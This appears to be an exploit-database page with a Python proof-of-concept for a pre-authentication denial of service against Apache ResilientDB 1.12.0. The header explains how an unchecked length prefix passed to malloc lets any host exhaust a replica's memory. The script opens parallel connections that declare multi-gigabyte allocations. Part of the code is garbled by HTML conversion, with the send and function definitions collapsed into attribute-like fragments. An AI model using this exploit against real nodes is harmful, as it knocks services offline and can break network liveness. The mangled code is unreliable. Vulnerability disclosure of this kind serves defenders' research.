Apache ResilientDB 1.12.0 Uncontrolled Memory Allocation DoS

<html><body><p>#!/usr/bin/env python
#
#
# Apache ResilientDB 1.12.0 Uncontrolled Memory Allocation DoS
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://resilientdb.apache.org
# Affected version: 1.12.0 (NexRes)
#
# Summary: Apache ResilientDB is a High Throughput Yielding Permissioned Blockchain
# Fabric founded by ExpoLab at UC Davis in 2018. ResilientDB advocates a system-centric
# design by implementing a multi-threaded architecture with deep pipelines. Further,
# ResilientDB separates the ordering of client transactions from their execution, allowing
# it to process messages out of order.
#
# Desc: Apache ResilientDB (incubating) suffers from a remote pre-authentication uncontrolled
# memory allocation in its replica TCP acceptor. In platform/common/network/tcp_socket.cpp,
# TcpSocket::Recv reads an 8-byte length prefix directly off the socket and passes it to
# malloc() with no maximum-size check and no NULL-check, then reads that many bytes. This
# routine is reached, before any signature or authentication check, from the replica's main
# service listener (platform/rdbc/acceptor.cpp Acceptor::Run -&gt; Accept -&gt; Recv, started by
# platform/networkstrate/service_network.cpp). Any host that can open a TCP connection to
# a replica's service port can therefore send a large length prefix and force an arbitrarily
# large allocation; a handful of parallel connections declaring multi-gigabyte lengths exhaust
# the replica's memory (OOM), taking the node down and, at scale, breaking the network's
# BFT liveness.
#
# =================================================================================
# /platform/common/network/tcp_socket.cpp:
# ----------------------------------------
# 202: int TcpSocket::Recv(void** buf, size_t* len) {
# 203:   int ret = RecvInternal(socket_fd_, len, sizeof(size_t));
# 204:   if (ret &lt;= 0) {
# 205:     return ret;
# 206:   }
# 207:   *buf = malloc(*len);
# 208:   ret = RecvInternal(socket_fd_, *buf, *len);
# 209:   if (ret &lt;= 0) {
# 210:     return ret;
# 211:   }
# 212:   return ret;
# 213: }
# =================================================================================
#
# Tested on: Ubuntu 22.04
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6017
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6017
#
#
# 13.08.2026
#


import threading
import struct
import socket
import time
import sys

def hit(ip, port, alloc):
    try:
        s = socket.create_connection((ip, port), timeout=5)
        s.sendall(struct.pack("<q alloc="" as="" def="" e:="" except="" exception="" if="" len="" main="" print="" resilientdb_poc.py="" s.close="" time.sleep=""> <port> 8589934592 16"); return
    ip = sys.argv[1]; port = int(sys.argv[2])
    alloc = int(sys.argv[3]) if len(sys.argv) &gt; 3 else (8 * 1024**3)
    conns = int(sys.argv[4]) if len(sys.argv) &gt; 4 else 16
    print(f"[*] {ip}:{port}  -&gt;  {conns} connections x malloc({alloc} bytes) pre-auth")
    ts = [threading.Thread(target=hit, args=(ip, port, alloc), daemon=True) for _ in range(conns)]
    for t in ts: t.start()
    for t in ts: t.join()
    print("[*] OoMd.")

if __name__ == "__main__":
    main()
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